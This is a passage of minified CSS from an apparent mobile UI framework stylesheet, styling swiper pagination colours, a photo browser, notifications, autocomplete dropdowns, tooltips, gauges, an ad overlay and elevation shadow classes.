.swiper-pagination-progressbar,.md .color-theme-gray.swiper-pagination-progressbar{background:rgba(158,158,158,.25)}.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#9e9e9e}.md .color-theme-white .swiper-button-prev,.md .color-theme-white .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-white,.md .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-button-next,.md .color-theme-white .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-white,.md .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-pagination-bullet-active,.md .color-white .swiper-pagination-bullet-active{background:#fff}.md .color-theme-white .swiper-pagination-progressbar,.md .color-theme-white.swiper-pagination-progressbar,.md .color-white .swiper-pagination-progressbar,.md .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.md .color-theme-black .swiper-button-prev,.md .color-theme-black .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-black,.md .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-black .swiper-button-next,.md .color-theme-black .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-black,.md .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-black .swiper-pagination-bullet-active,.md .color-theme-black .swiper-pagination-bullet-active{background:#000}.md .color-black .swiper-pagination-progressbar,.md .color-black.swiper-pagination-progressbar,.md .color-theme-black .swiper-pagination-progressbar,.md .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.photo-browser{position:absolute;left:0;top:0;width:100%;height:100%;z-index:400}.photo-browser-standalone.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-in .4s;animation:photo-browser-in .4s}.photo-browser-standalone.modal-out{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-out .4s;animation:photo-browser-out .4s}.photo-browser-standalone.modal-out.swipe-close-to-bottom,.photo-browser-standalone.modal-out.swipe-close-to-top{-webkit-animation:none;animation:none}.photo-browser-popup.modal-out.swipe-close-to-bottom,.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transition-duration:.3s;transition-duration:.3s}.photo-browser-popup.modal-out.swipe-close-to-bottom{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transform:translate3d(0,-100vh,0);transform:translate3d(0,-100vh,0)}.page.photo-browser-page{background:0 0}.photo-browser-popup{background:0 0}.photo-browser-exposed .navbar,.photo-browser-exposed .toolbar{opacity:0;visibility:hidden;pointer-events:none}.photo-browser-exposed .photo-browser-swiper-container{background:#000}.photo-browser-of{margin:0 5px}.photo-browser-captions{pointer-events:none;position:absolute;left:0;width:100%;bottom:0;z-index:10;opacity:1;-webkit-transition:.4s;transition:.4s}.photo-browser-captions.photo-browser-captions-exposed{opacity:0}.photo-browser-caption{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s;position:absolute;bottom:0;left:0;opacity:0;padding:4px 5px;width:100%;text-align:center;color:#fff;background:rgba(0,0,0,.8)}.photo-browser-caption:empty{display:none}.photo-browser-caption.photo-browser-caption-active{opacity:1}.photo-browser-captions-light .photo-browser-caption{background:rgba(255,255,255,.8);color:#000}.photo-browser-captions-dark .photo-browser-caption{color:#fff}.photo-browser-exposed .photo-browser-caption{color:#fff;background:rgba(0,0,0,.8)}.photo-browser-swiper-container{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background:#fff;-webkit-transition:.4s;transition:.4s;-webkit-transition-property:background-color;transition-property:background-color}.photo-browser-next.swiper-button-disabled,.photo-browser-prev.swiper-button-disabled{opacity:.3}.photo-browser-slide{width:100%;height:100%;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box}.photo-browser-slide.photo-browser-transitioning{-webkit-transition:.4s;transition:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.photo-browser-slide span.swiper-zoom-container{display:none}.photo-browser-slide img{width:auto;height:auto;max-width:100%;max-height:100%;display:none}.photo-browser-slide.swiper-slide-active span.swiper-zoom-container,.photo-browser-slide.swiper-slide-next span.swiper-zoom-container,.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.photo-browser-slide.swiper-slide-active img,.photo-browser-slide.swiper-slide-next img,.photo-browser-slide.swiper-slide-prev img{display:inline}.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader{display:block}.photo-browser-slide iframe{width:100%;height:100%}.photo-browser-slide .preloader{display:none;position:absolute;width:42px;height:42px;margin-left:-21px;margin-top:-21px;left:50%;top:50%}.photo-browser-dark .photo-browser-swiper-container,.photo-browser-page-dark .photo-browser-swiper-container{background:#000}@-webkit-keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@-webkit-keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}@keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}.md .toolbar~.photo-browser-captions{bottom:48px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,48px,0);transform:translate3d(0,48px,0)}.md .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.md .photo-browser-page .navbar,.md .photo-browser-page .toolbar{background:rgba(33,150,243,.95);-webkit-transition:.4s;transition:.4s}.md .photo-browser-dark .navbar,.md .photo-browser-dark .toolbar,.md .photo-browser-page-dark .navbar,.md .photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8)!important;color:#fff}.md .photo-browser-dark .navbar a,.md .photo-browser-dark .toolbar a,.md .photo-browser-page-dark .navbar a,.md .photo-browser-page-dark .toolbar a{color:#fff}.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(244,67,54,.95)}.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(76,175,80,.95)}.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(33,150,243,.95)}.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(233,30,99,.95)}.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,235,59,.95)}.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,152,0,.95)}.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(158,158,158,.95)}.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,255,255,.95)}.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(0,0,0,.95)}.md.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.notification{position:absolute;left:0;top:0;width:100%;z-index:20000;font-size:14px;margin:0;border:none;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;direction:ltr}.notification-icon{font-size:0}.notification-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.notification-close-button{margin-left:auto;cursor:pointer}html.with-statusbar.device-ios .notification,html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification{margin-top:20px}html.with-statusbar.device-android .notification,html.with-statusbar.md:not(.device-ios):not(.device-android) .notification{margin-top:24px}html.with-statusbar.device-iphone-x .notification{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}.md .notification{left:0;top:0;width:100%;background:#fff;border-radius:0;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);padding:16px;color:#000;max-width:568px}@media (min-width:568px){.md .notification{left:50%;margin-left:-284px}}.md .notification.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:notification-md-in .4s ease-out;animation:notification-md-in .4s ease-out}.md .notification.modal-in.notification-transitioning{-webkit-transition-duration:.2s;transition-duration:.2s}.md .notification.modal-out{-webkit-animation:none;animation:none;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}.md .notification-icon{width:16px;height:16px;margin-right:8px;line-height:16px}.md .notification-icon i{width:16px;height:16px;font-size:16px}.md .notification-title{font-size:12px;line-height:1;color:#2196f3}.md .notification-subtitle{font-size:14px;line-height:1.35;color:#212121}.md .notification-subtitle+.notification-text{margin-top:2px}.md .notification-text{font-size:14px;line-height:1.35;color:#757575}.md .notification-header+.notification-content{margin-top:6px}.md .notification-title-right-text{font-size:12px;color:#757575;margin-left:4px}.md .notification-title-right-text:before{content:'';width:3px;height:3px;border-radius:50%;display:inline-block;vertical-align:middle;margin-right:4px;background:#757575}.md .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");width:16px;height:16px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;-webkit-transition-duration:.3s;transition-duration:.3s}.md .notification-close-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .notification-close-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .notification-close-button:before{width:48px;height:48px;left:50%;top:50%;margin-left:-24px;margin-top:-24px}.md .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:48px;height:48px;margin-left:-22px;margin-top:-22px}@-webkit-keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.autocomplete-page .autocomplete-found{display:block}.autocomplete-page .autocomplete-not-found{display:none}.autocomplete-page .autocomplete-values{display:block}.autocomplete-page .list ul:empty{display:none}.autocomplete-preloader:not(.autocomplete-preloader-visible){visibility:hidden}.autocomplete-preloader:not(.autocomplete-preloader-visible),.autocomplete-preloader:not(.autocomplete-preloader-visible) *{-webkit-animation:none;animation:none}.autocomplete-dropdown{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;z-index:500;width:100%;right:0}.autocomplete-dropdown .autocomplete-dropdown-inner{position:relative;overflow:auto;-webkit-overflow-scrolling:touch;height:100%;z-index:1}.autocomplete-dropdown .autocomplete-preloader{display:none;position:absolute;bottom:100%;width:20px;height:20px}.autocomplete-dropdown .autocomplete-preloader-visible{display:block}.autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#a9a9a9}.autocomplete-dropdown .list{margin:0}.autocomplete-dropdown .list ul{background:0 0!important}.autocomplete-dropdown .list ul:before{display:none!important}.autocomplete-dropdown .list ul:after{display:none!important}.list .item-content-dropdown-expanded .item-title.item-label{width:0;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;overflow:hidden}.list .item-content-dropdown-expanded .item-title.item-label+.item-input-wrap{margin-right:0}.list .item-content-dropdown-expanded .item-input-wrap{width:100%}.md .autocomplete-page .navbar .autocomplete-preloader{margin-left:16px}.md .autocomplete-dropdown{-webkit-box-shadow:0 2px 2px rgba(0,0,0,.25);box-shadow:0 2px 2px rgba(0,0,0,.25)}.md .autocomplete-dropdown .autocomplete-preloader{left:16px;margin-bottom:8px}.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap,.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle{border-width:3px}.md .autocomplete-dropdown .list{color:rgba(0,0,0,.54)}.md .autocomplete-dropdown .list b{font-weight:400;color:#212121}.md .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-right:73px}.md .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.tooltip{position:absolute;z-index:20000;background:rgba(0,0,0,.87);border-radius:4px;padding:8px 16px;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:1.2;opacity:0;-webkit-transform:scale(.9);transform:scale(.9);-webkit-transition-duration:150ms;transition-duration:150ms;-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:opacity,transform;transition-property:opacity,transform,-webkit-transform;z-index:99000;font-weight:500}.tooltip.tooltip-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.tooltip.tooltip-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.device-desktop .tooltip{font-size:12px;padding:6px 8px}.gauge{position:relative;text-align:center;margin-left:auto;margin-right:auto;display:inline-block}.gauge svg,.gauge-svg{max-width:100%;height:auto}.gauge svg circle,.gauge svg path,.gauge-svg circle,.gauge-svg path{-webkit-transition-duration:.4s;transition-duration:.4s}iframe#viAd{z-index:12900!important;background:#000!important}.vi-overlay{background:rgba(0,0,0,.85);z-index:13100;position:absolute;left:0;top:0;width:100%;height:100%;border-radius:3px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.vi-overlay{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.vi-overlay .vi-overlay-text{text-align:center;color:#fff;max-width:80%}.vi-overlay .vi-overlay-text+.vi-overlay-play-button{margin-top:15px}.vi-overlay .vi-overlay-play-button{width:44px;height:44px;border-radius:50%;border:2px solid #fff;position:relative}.vi-overlay .vi-overlay-play-button.active-state{opacity:.55}.vi-overlay .vi-overlay-play-button:before{content:'';width:0;height:0;border-top:8px solid transparent;border-bottom:8px solid transparent;border-left:14px solid #fff;position:absolute;left:50%;top:50%;margin-left:2px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.elevation-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.elevation-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.elevation-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.elevation-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.elevation-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.elevation-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.elevation-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.elevation-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.elevation-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.elevation-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.elevation-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.elevation-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.elevation-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.elevation-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.elevation-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.elevation-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.elevation-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.elevation-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.elevation-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.elevation-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.elevation-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.elevation-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.elevation-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.elevation-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 